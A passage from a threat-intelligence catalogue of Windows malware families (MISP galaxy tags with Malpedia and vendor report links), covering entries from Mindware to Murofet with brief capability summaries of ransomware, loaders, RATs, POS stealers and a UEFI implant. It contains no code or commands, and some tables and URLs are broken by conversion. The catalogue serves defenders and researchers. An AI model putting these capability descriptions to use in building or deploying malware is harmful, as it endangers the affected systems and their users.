<td><a href="https://www.infinitumit.com.tr/apt-35/">https://www.infinitumit.com.tr/apt-35/</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://www.cisa.gov/uscert/ncas/alerts/aa22-152a">https://www.cisa.gov/uscert/ncas/alerts/aa22-152a</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/blog/ongoing-campaign-leveraging-exchange-vulnerability-potentially-linked-to-iran">https://www.secureworks.com/blog/ongoing-campaign-leveraging-exchange-vulnerability-potentially-linked-to-iran</a></td>
<td></td>
</tr>
</tbody>
</table>
Mindware

Ransomware, potential rebranding of win.sfile.

The tag is: `misp-galaxy:malpedia="Mindware"`

Mindware is also known as:

Table 3563. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.mindware">https://malpedia.caad.fkie.fraunhofer.de/details/win.mindware</a></td>
</tr>
</tbody>
</table>

MINEBRIDGE

The tag is: `misp-galaxy:malpedia="MINEBRIDGE"`

MINEBRIDGE is also known as:

- GazGolder

Table 3564. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.minebridge">https://malpedia.caad.fkie.fraunhofer.de/details/win.minebridge</a></td>
</tr>
<tr>
<td><a href="https://blog.morphisec.com/minebridge-on-the-rise-sophisticated-delivery-mechanism">https://blog.morphisec.com/minebridge-on-the-rise-sophisticated-delivery-mechanism</a></td>
</tr>
</tbody>
</table>

MiniASP

The tag is: `misp-galaxy:malpedia="MiniASP"`
MiniASP is also known as:

<table>
<thead>
<tr>
<th>Table 3565. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.miniasp">https://malpedia.caad.fkie.fraunhofer.de/details/win.miniasp</a></td>
</tr>
</tbody>
</table>

**MiniBlindingCan**

miniBlindingCan is an HTTP(S) orchestrator.

It is a variant of the BlindingCan RAT, having the same command parsing logic, but supporting only a small subset of commands available previously. The main operations are the update of the malware configuration, and the download and execution of additional payloads from the attackers' C&C.

The miniBlindingCan malware was used in Operation DreamJob attacks against aerospace and media companies in Q2-Q3 2022.

The tag is: *misp-galaxy:malpedia=“miniBlindingCan”*

miniBlindingCan is also known as:

- AIRDRY.V2

<table>
<thead>
<tr>
<th>Table 3566. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.miniblindingcan">https://malpedia.caad.fkie.fraunhofer.de/details/win.miniblindingcan</a></td>
</tr>
<tr>
<td><a href="https://www.mandiant.com/resources/blog/dprk-whatsapp-phishing">https://www.mandiant.com/resources/blog/dprk-whatsapp-phishing</a></td>
</tr>
</tbody>
</table>

**MiniDuke**

The MiniDuke toolset consists of multiple downloader and backdoor components

The tag is: *misp-galaxy:malpedia=“MiniDuke”*

MiniDuke is also known as:

<table>
<thead>
<tr>
<th>Table 3567. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.miniduke">https://malpedia.caad.fkie.fraunhofer.de/details/win.miniduke</a></td>
</tr>
</tbody>
</table>
MiniStealer

The tag is: `misp-galaxy:malpedia="MiniStealer"`

MiniStealer is also known as:

Table 3568. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

MintStealer

The tag is: `misp-galaxy:malpedia="MintStealer"`

MintStealer is also known as:

Table 3569. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/ViriBack/status/1610393842787704835">https://twitter.com/ViriBack/status/1610393842787704835</a></td>
</tr>
</tbody>
</table>

Mirage

The tag is: `misp-galaxy:malpedia="Mirage"`

Mirage is also known as:

Table 3570. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.mirage">https://malpedia.caad.fkie.fraunhofer.de/details/win.mirage</a></td>
</tr>
</tbody>
</table>
MirageFox

The tag is: misp-galaxy:malpedia="MirageFox"

MirageFox is also known as:

Table 3571. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.miragefox

Mirai (Windows)

The tag is: misp-galaxy:malpedia="Mirai (Windows)"

Mirai (Windows) is also known as:

Table 3572. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.mirai
https://twitter.com/PhysicalDrive0/status/830070569202749440
https://www.incapsula.com/blog/new-mirai-variant-ddos-us-college.html
https://unit42.paloaltonetworks.com/moobot-d-link-devices/
https://securelist.com/blog/research/77621/newish-mirai-spreader-poses-new-risks/
**MirrorBlast**

According to Minerva Labs, MirrorBlast malware is a trojan that is known for attacking users’ browsers. It usually pretends to be a legitimate browser add-on however it has now evolved additional capabilities, whereby other malwares are installed simultaneously. Recently, this trojan is thought to have tentative links to TA505 and PYSA groups.

The tag is: `misp-galaxy:malpedia="MirrorBlast"`

MirrorBlast is also known as:

**Table 3573. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.mirrorblast">https://malpedia.caad.fkie.fraunhofer.de/details/win.mirrorblast</a></td>
</tr>
<tr>
<td><a href="https://blog.morphisec.com/explosive-new-mirrorblast-campaign-targets-financial-companies">https://blog.morphisec.com/explosive-new-mirrorblast-campaign-targets-financial-companies</a></td>
</tr>
<tr>
<td><a href="https://frsecure.com/blog/the-rebol-yell-new-rebol-exploit/">https://frsecure.com/blog/the-rebol-yell-new-rebol-exploit/</a></td>
</tr>
</tbody>
</table>

**MirrorKey**

According to Trend Micro, this is a loader for win.transbox, used by threat actor Earth Yako.

The tag is: `misp-galaxy:malpedia="MirrorKey"`

MirrorKey is also known as:

**Table 3574. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.mirrorkey">https://malpedia.caad.fkie.fraunhofer.de/details/win.mirrorkey</a></td>
</tr>
</tbody>
</table>

**Misdat**

The tag is: `misp-galaxy:malpedia="Misdat"`

Misdat is also known as:

**Table 3575. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
Misfox

The tag is: `misp-galaxy:malpedia="Misfox"`

Misfox is also known as:

- MixFox
- ModPack

Table 3576. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
</table>

Misha

Undocumented information stealer targeting multiple browsers and cryptocurrencies. Internal project name appears to be "misha".

The tag is: `misp-galaxy:malpedia="Misha"`

Misha is also known as:

Table 3577. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.mishadu">https://malpedia.caad.fkie.fraunhofer.de/details/win.misa</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://bazaar.abuse.ch/sample/efab8be43de6edf96f9451a5a2cc15017cfc5c88f81b46b33e6ba5c7e2d7a7b/">https://bazaar.abuse.ch/sample/efab8be43de6edf96f9451a5a2cc15017cfc5c88f81b46b33e6ba5c7e2d7a7b/</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://blog.bushidotoken.net/2022/11/detecting-and-fingerprinting.html">https://blog.bushidotoken.net/2022/11/detecting-and-fingerprinting.html</a></td>
<td></td>
</tr>
</tbody>
</table>

Mispadu

According to ESET Research, Mispadu is an ambitious Latin American banking trojan that utilizes McDonald’s malvertising and extends its attack surface to web browsers. It is used to target the general public and its main goals are monetary and credential theft. In Brazil, ESET has seen it distributing a malicious Google Chrome extension that attempts to steal credit card data and online banking data, and that compromises the Boleto payment system.

The tag is: `misp-galaxy:malpedia="Mispadu"`

Mispadu is also known as:

- URSA
MISTCLOAK

Mandiant associates this with UNC4191, this malware decrypts and runs DARKDEW.

The tag is: *misp-galaxy:malpedia*="/MISTCLOAK"

MISTCLOAK is also known as:

- HIUPAN

MISTYVEAL

The tag is: *misp-galaxy:malpedia=*"MISTYVEAL"

MISTYVEAL is also known as:
Miuref

The tag is: misp-galaxy:malpedia="Miuref"

Miuref is also known as:

Table 3581. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.miuref">https://malpedia.caad.fkie.fraunhofer.de/details/win.miuref</a></td>
</tr>
</tbody>
</table>

MMON

The tag is: misp-galaxy:malpedia="MMON"

MMON is also known as:

- Kaptoxa

Table 3582. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.mmon">https://malpedia.caad.fkie.fraunhofer.de/details/win.mmon</a></td>
</tr>
<tr>
<td><a href="http://reversing.fun/posts/2022/01/02/mmon.html">http://reversing.fun/posts/2022/01/02/mmon.html</a></td>
</tr>
</tbody>
</table>

MM Core

The tag is: misp-galaxy:malpedia="MM Core"

MM Core is also known as:

Table 3583. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.mm_core">https://malpedia.caad.fkie.fraunhofer.de/details/win.mm_core</a></td>
</tr>
</tbody>
</table>

MobiRAT

The tag is: misp-galaxy:malpedia="MobiRAT"

MobiRAT is also known as:

Table 3584. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.mobi_rat">https://malpedia.caad.fkie.fraunhofer.de/details/win.mobi_rat</a></td>
</tr>
</tbody>
</table>
Mocky LNK

LNK files used to lure and orchestrate execution of various scripts, interacting with the Mocky API service.

The tag is: `misp-galaxy:malpedia="Mocky LNK"`

Mocky LNK is also known as:

Table 3585. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.mocky_lnk">https://malpedia.caad.fkie.fraunhofer.de/details/win.mocky_lnk</a></td>
</tr>
<tr>
<td><a href="https://www.zscaler.com/blogs/security-research/steal-it-campaign">https://www.zscaler.com/blogs/security-research/steal-it-campaign</a></td>
</tr>
<tr>
<td><a href="https://cert.gov.ua/article/4492467">https://cert.gov.ua/article/4492467</a></td>
</tr>
</tbody>
</table>

Mocton

The tag is: `misp-galaxy:malpedia="Mocton"`

Mocton is also known as:

Table 3586. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.mocton">https://malpedia.caad.fkie.fraunhofer.de/details/win.mocton</a></td>
</tr>
</tbody>
</table>

ModernLoader

According to PCrisk, ModernLoader, also known as Avatar Bot and AvatarLoader, is a malicious program that has minimalistic loader and RAT (Remote Access Trojan) functionalities.

Loader-type malware is designed to infect devices with additional malicious programs, while RATs enable remote access/control over infected machines. ModernLoader is capable of executing basic commands and injecting malicious modules into systems.

The tag is: `misp-galaxy:malpedia="ModernLoader"`

ModernLoader is also known as:

- AvatarBot

Table 3587. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.modern_loader">https://malpedia.caad.fkie.fraunhofer.de/details/win.modern_loader</a></td>
</tr>
<tr>
<td><a href="https://blog.talosintelligence.com/2022/08/modernloader-delivers-multiple-stealers.html">https://blog.talosintelligence.com/2022/08/modernloader-delivers-multiple-stealers.html</a></td>
</tr>
</tbody>
</table>
MoDi RAT

The tag is: `misp-galaxy:malpedia="MoDi RAT"`

MoDi RAT is also known as:

<table>
<thead>
<tr>
<th>Table 3588. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Links</strong></td>
</tr>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.modirat">https://malpedia.caad.fkie.fraunhofer.de/details/win.modirat</a></td>
</tr>
</tbody>
</table>

ModPipe

ModPipe is point-of-sale (POS) malware capable of accessing sensitive information stored in devices running ORACLE MICROS Restaurant Enterprise Series (RES) 3700 POS – a management software suite used by hundreds of thousands of bars, restaurants, hotels and other hospitality establishments worldwide. ModPipe uses modular architecture consisting of basic components and downloadable modules. One of them – named GetMicInfo – contains an algorithm designed to gather database passwords by decrypting them from Windows registry values. Exfiltrated credentials allow ModPipe’s operators access to database contents, including various definitions and configuration, status tables and information about POS transactions.

The tag is: `misp-galaxy:malpedia="ModPipe"`

ModPipe is also known as:

<table>
<thead>
<tr>
<th>Table 3589. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Links</strong></td>
</tr>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.modpipe">https://malpedia.caad.fkie.fraunhofer.de/details/win.modpipe</a></td>
</tr>
<tr>
<td><a href="https://www.foregenix.com/blog/modpipe-malware-has-a-new-module-that-siphons-payment-card-data">https://www.foregenix.com/blog/modpipe-malware-has-a-new-module-that-siphons-payment-card-data</a></td>
</tr>
</tbody>
</table>

ModPOS

The tag is: `misp-galaxy:malpedia="ModPOS"`

ModPOS is also known as:

- straxbot
Mofksys

The tag is: `misp-galaxy:malpedia="Mofksys"`

Mofksys is also known as:

Moisha Ransomware

The tag is: `misp-galaxy:malpedia="Moisha Ransomware"`

Moisha Ransomware is also known as:

Moker

The tag is: `misp-galaxy:malpedia="Moker"`

Moker is also known as:
Mokes (Windows)

The tag is: `misp-galaxy:malpedia="Mokes (Windows)"

Mokes (Windows) is also known as:

Table 3594. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.mokes">https://malpedia.caad.fkie.fraunhofer.de/details/win.mokes</a></td>
</tr>
</tbody>
</table>

Mole

The tag is: `misp-galaxy:malpedia="Mole"

Mole is also known as:

Table 3595. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.mole">https://malpedia.caad.fkie.fraunhofer.de/details/win.mole</a></td>
</tr>
</tbody>
</table>

MoleNet

MoleNet is a .NET downloader malware used by the Molerats group in targeted attacks in the Middle East. Before downloading additional payloads, it first collects information about the infected machine using WMI queries and sends the data to its operators. It was first discovered in 2020, however, Cybereason researchers showed that it has been in use since at least 2019, with infrastructure that operated since 2017.

The tag is: `misp-galaxy:malpedia="MoleNet"

MoleNet is also known as:

Table 3596. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.molenet">https://malpedia.caad.fkie.fraunhofer.de/details/win.molenet</a></td>
</tr>
</tbody>
</table>
**Molerat Loader**

The tag is: *misp-galaxy:malpedia="Molerat Loader"*

Molerat Loader is also known as:

Table 3597. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.molerat_loader">https://malpedia.caad.fkie.fraunhofer.de/details/win.molerat_loader</a></td>
</tr>
<tr>
<td><a href="http://www.clearskysec.com/iec/">http://www.clearskysec.com/iec/</a></td>
</tr>
<tr>
<td><a href="https://www.0ffset.net/reverse-engineering/malware-analysis/molerats-string-decryption/">https://www.0ffset.net/reverse-engineering/malware-analysis/molerats-string-decryption/</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/molerats-delivers-spark-backdoor/">https://unit42.paloaltonetworks.com/molerats-delivers-spark-backdoor/</a></td>
</tr>
</tbody>
</table>

**Monero Miner**

The tag is: *misp-galaxy:malpedia="Monero Miner"*

Monero Miner is also known as:

- CoinMiner

Table 3598. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.monero_miner">https://malpedia.caad.fkie.fraunhofer.de/details/win.monero_miner</a></td>
</tr>
<tr>
<td><a href="https://thedfirreport.com/2021/01/18/all-that-for-a-coinminer/">https://thedfirreport.com/2021/01/18/all-that-for-a-coinminer/</a></td>
</tr>
</tbody>
</table>

**Money Message**

A new ransomware gang hitting companies in worldwide firstly spotted by Zscaler.

The tag is: *misp-galaxy:malpedia="Money Message"*

Money Message is also known as:
Table 3599. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.moneymessage">https://malpedia.caad.fkie.fraunhofer.de/details/win.moneymessage</a></td>
</tr>
<tr>
<td><a href="https://yoroi.company/research/money-ransomware-the-latest-double-extortion-group/">https://yoroi.company/research/money-ransomware-the-latest-double-extortion-group/</a></td>
</tr>
<tr>
<td><a href="https://blog.talosintelligence.com/talos-ir-q2-2023-quarterly-recap/">https://blog.talosintelligence.com/talos-ir-q2-2023-quarterly-recap/</a></td>
</tr>
<tr>
<td><a href="https://resources.securityscorecard.com/research/analysis-money-message-ransomware">https://resources.securityscorecard.com/research/analysis-money-message-ransomware</a></td>
</tr>
</tbody>
</table>

**mongall**

The tag is: `misp-galaxy:malpedia="mongall"`

mongall is also known as:

Table 3600. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.mongall">https://malpedia.caad.fkie.fraunhofer.de/details/win.mongall</a></td>
</tr>
<tr>
<td><a href="https://www.sentinelone.com/labs/aqin-dragon-newly-discovered-chinese-linked-apt-has-been-quietly-spying-on-organizations-for-10-years/">https://www.sentinelone.com/labs/aqin-dragon-newly-discovered-chinese-linked-apt-has-been-quietly-spying-on-organizations-for-10-years/</a></td>
</tr>
</tbody>
</table>

**MontysThree**

The tag is: `misp-galaxy:malpedia="MontysThree"`

MontysThree is also known as:

- MT3

Table 3601. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.montysthree">https://malpedia.caad.fkie.fraunhofer.de/details/win.montysthree</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/montysthree-industrial-espionage/98972/">https://securelist.com/montysthree-industrial-espionage/98972/</a></td>
</tr>
</tbody>
</table>

**MoonBounce**

MoonBounce is a malware embedded into a modified UEFI firmware. Placed into SPI flash, it can provide persistence across full reinstall and even disk replacements. MoonBounce deploys user-mode malware through in-memory staging with a small footprint.

The tag is: `misp-galaxy:malpedia="MoonBounce"`

MoonBounce is also known as:

Table 3602. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.moonbounce
https://www.binarly.io/posts/A_deeper_UEFI_dive_into_MoonBounce/index.html
https://habr.com/ru/amp/post/668154/

MoonWind

The tag is: *misp-galaxy:malpedia="MoonWind"

MoonWind is also known as:

*Table 3603. Table References*

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.moonwind

MoriAgent

The tag is: *misp-galaxy:malpedia="MoriAgent"

MoriAgent is also known as:

*Table 3604. Table References*

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.moriagent
https://www.cisa.gov/uscert/ncas/alerts/aa22-055a
https://twitter.com/Timele9527/status/1272776776335233024
https://securelist.com/apt-trends-report-q3-2020/99204/
https://www.inforisktoday.com/muddywater-targets-critical-infrastructure-in-asia-europe-a-18611
**Moriya**

This tool is a passive backdoor which allows attackers to inspect all incoming traffic to the infected machine, filter out packets that are marked as designated for the malware and respond to them. This forms a covert channel over which attackers are able to issue shell commands and receive back their outputs.

The tag is: *misp-galaxy:malpedia="Moriya"*

Moriya is also known as:

Table 3605. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.moriya">https://malpedia.caad.fkie.fraunhofer.de/details/win.moriya</a></td>
</tr>
</tbody>
</table>

**Morphine**

The tag is: *misp-galaxy:malpedia="Morphine"*

Morphine is also known as:

Table 3606. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.morphine">https://malpedia.caad.fkie.fraunhofer.de/details/win.morphine</a></td>
</tr>
</tbody>
</table>

**MortalKombat**

The tag is: *misp-galaxy:malpedia="MortalKombat"*

MortalKombat is also known as:

Table 3607. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.mortalkombat">https://malpedia.caad.fkie.fraunhofer.de/details/win.mortalkombat</a></td>
</tr>
</tbody>
</table>

**Morto**

The tag is: *misp-galaxy:malpedia="Morto"*

Morto is also known as:

Table 3608. Table References
MosaicRegressor

The tag is: `misp-galaxy:malpedia="MosaicRegressor"`

MosaicRegressor is also known as:

**Table 3609. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.mosaic_regressor">https://malpedia.caad.fkie.fraunhofer.de/details/win.mosaic_regressor</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/mosaicregressor/98849/">https://securelist.com/mosaicregressor/98849/</a></td>
</tr>
</tbody>
</table>

Moserpass

The tag is: `misp-galaxy:malpedia="Moserpass"`

Moserpass is also known as:

**Table 3610. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Mosquito

The tag is: `misp-galaxy:malpedia="Mosquito"`

Mosquito is also known as:

**Table 3611. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
Mount Locker

According to BlackBerry, MountLocker is a Ransomware-as-a-Service (RaaS), active since July 2020. The MountLocker ransomware was updated during early November 2020 to broaden the targeting of file types and evade security software. Victim’s files are encrypted using ChaCha20, and file encryption keys are encrypted using RSA-2048. The ransomware appears to be somewhat secure; there are no trivial weaknesses allowing for easy key recovery and decryption of data. MountLocker does however use a cryptographically insecure method for key generation that may be prone to attack.

The tag is: misp-galaxy:malpedia="Mount Locker"

Mount Locker is also known as:

- DagonLocker
- MountLocker
- QuantumLocker

Table 3612. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.mount_locker">https://malpedia.caad.fkie.fraunhofer.de/details/win.mount_locker</a></td>
</tr>
<tr>
<td>biotech-research-firm-miltenyi-biotec-hit-by-ransomware-data-leaked/</td>
</tr>
<tr>
<td><a href="https://securityintelligence.com/posts/">https://securityintelligence.com/posts/</a></td>
</tr>
<tr>
<td>itg23-crypters-cooperation-between-cybercriminal-groups/</td>
</tr>
<tr>
<td><a href="https://intel471.com/blog/how-cybercriminals-create-turbulence-for-">https://intel471.com/blog/how-cybercriminals-create-turbulence-for-</a></td>
</tr>
<tr>
<td>the-transportation-industry</td>
</tr>
<tr>
<td><a href="https://news.sophos.com/en-us/2021/03/31/sophos-mtr-in-real-time-">https://news.sophos.com/en-us/2021/03/31/sophos-mtr-in-real-time-</a></td>
</tr>
<tr>
<td>what-is-astro-locker-team/</td>
</tr>
<tr>
<td><a href="https://symantec-enterprise-blogs.security.com/blogs/threat">https://symantec-enterprise-blogs.security.com/blogs/threat</a></td>
</tr>
<tr>
<td>intelligence/ransomware-virtual-machines</td>
</tr>
<tr>
<td>mount-locker-ransomware-joins-the-multi-million-dollar-ransom-game/</td>
</tr>
<tr>
<td><a href="https://chuongdong.com/reverse%20engineering/2021/05/23/MountLockerRansomware/">https://chuongdong.com/reverse%20engineering/2021/05/23/MountLockerRansomware/</a></td>
</tr>
<tr>
<td><a href="https://securityscorecard.pathfactory.com/research/quantum-ransomware">https://securityscorecard.pathfactory.com/research/quantum-ransomware</a></td>
</tr>
<tr>
<td><a href="https://thedfirreport.com/2023/04/03/malicious-iso-file-leads-to-">https://thedfirreport.com/2023/04/03/malicious-iso-file-leads-to-</a></td>
</tr>
<tr>
<td>domain-wide-ransomware/</td>
</tr>
</tbody>
</table>
Moure

The tag is: misp-galaxy:malpedia="Moure"

Moure is also known as:

Table 3613. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.moure
According to PCrisk, Mozart is malicious software that allows attackers (cyber criminals) to execute various commands on an infected computer through the DNS protocol. This communication method helps cyber criminals to avoid detection via security software. Mozart is categorized as a malware loader and executes commands that cause download and installation of malicious software.

The tag is: misp-galaxy:malpedia="mozart"

Mozart is also known as:

<table>
<thead>
<tr>
<th>Table 3614. Table References</th>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.mozart">https://malpedia.caad.fkie.fraunhofer.de/details/win.mozart</a></td>
</tr>
</tbody>
</table>

**MPKBot**

The tag is: misp-galaxy:malpedia="MPKBot"

MPKBot is also known as:

- MPK

<table>
<thead>
<tr>
<th>Table 3615. Table References</th>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.mpkbot">https://malpedia.caad.fkie.fraunhofer.de/details/win.mpkbot</a></td>
</tr>
<tr>
<td></td>
<td><a href="https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/">https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/</a></td>
</tr>
</tbody>
</table>

**MQsTTang**

The tag is: misp-galaxy:malpedia="MQsTTang"

MQsTTang is also known as:

- QMAGENT

<table>
<thead>
<tr>
<th>Table 3616. Table References</th>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td></td>
</tr>
</tbody>
</table>
**MRAC**

Ransomware.

The tag is: `misp-galaxy:malpedia="MRAC"`

MRAC is also known as:

*Table 3617. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.mrac">https://malpedia.caad.fkie.fraunhofer.de/details/win.mrac</a></td>
</tr>
<tr>
<td><a href="https://id-ransomware.blogspot.com/2021/12/mrac-ransomware.html">https://id-ransomware.blogspot.com/2021/12/mrac-ransomware.html</a></td>
</tr>
</tbody>
</table>

**MrDec**

Ransomware.

The tag is: `misp-galaxy:malpedia="MrDec"`

MrDec is also known as:

*Table 3618. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**MrPeter**

The tag is: `misp-galaxy:malpedia="MrPeter"`

MrPeter is also known as:

*Table 3619. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.mr_peter">https://malpedia.caad.fkie.fraunhofer.de/details/win.mr_peter</a></td>
</tr>
<tr>
<td><a href="https://github.com/mrfr05t/Mr.Peter">https://github.com/mrfr05t/Mr.Peter</a></td>
</tr>
</tbody>
</table>
MulCom

The tag is: misp-galaxy:malpedia="MulCom"

MulCom is also known as:

Table 3620. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.mulcom">https://malpedia.caad.fkie.fraunhofer.de/details/win.mulcom</a></td>
</tr>
<tr>
<td><a href="https://decoded.avast.io/luigicamastra/operation-dragon-castling-apt-group-targeting-betting-companies">https://decoded.avast.io/luigicamastra/operation-dragon-castling-apt-group-targeting-betting-companies</a></td>
</tr>
</tbody>
</table>

Multigrain POS

The tag is: misp-galaxy:malpedia="Multigrain POS"

Multigrain POS is also known as:

Table 3621. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.multigrain_pos">https://malpedia.caad.fkie.fraunhofer.de/details/win.multigrain_pos</a></td>
</tr>
<tr>
<td><a href="https://www.pandasecurity.com/mediacenter/malware/multigrain-malware-pos/">https://www.pandasecurity.com/mediacenter/malware/multigrain-malware-pos/</a></td>
</tr>
<tr>
<td><a href="https://www.fireeye.com/blog/threat-research/2016/04/multigrain_pointo.html">https://www.fireeye.com/blog/threat-research/2016/04/multigrain_pointo.html</a></td>
</tr>
</tbody>
</table>

murkytop

a command-line reconnaissance tool. It can be used to execute files as a different user, move, and delete files locally, schedule remote AT jobs, perform host discovery on connected networks, scan for open ports on hosts in a connected network, and retrieve information about the OS, users, groups, and shares on remote hosts.

The tag is: misp-galaxy:malpedia="murkytop"

murkytop is also known as:

Table 3622. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.murkytop">https://malpedia.caad.fkie.fraunhofer.de/details/win.murkytop</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/threat-profiles/bronze-mohawk">https://www.secureworks.com/research/threat-profiles/bronze-mohawk</a></td>
</tr>
</tbody>
</table>
**Murofet**

The tag is: *misp-galaxy:malpedia="Murofet"*

Murofet is also known as:

*Table 3623. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
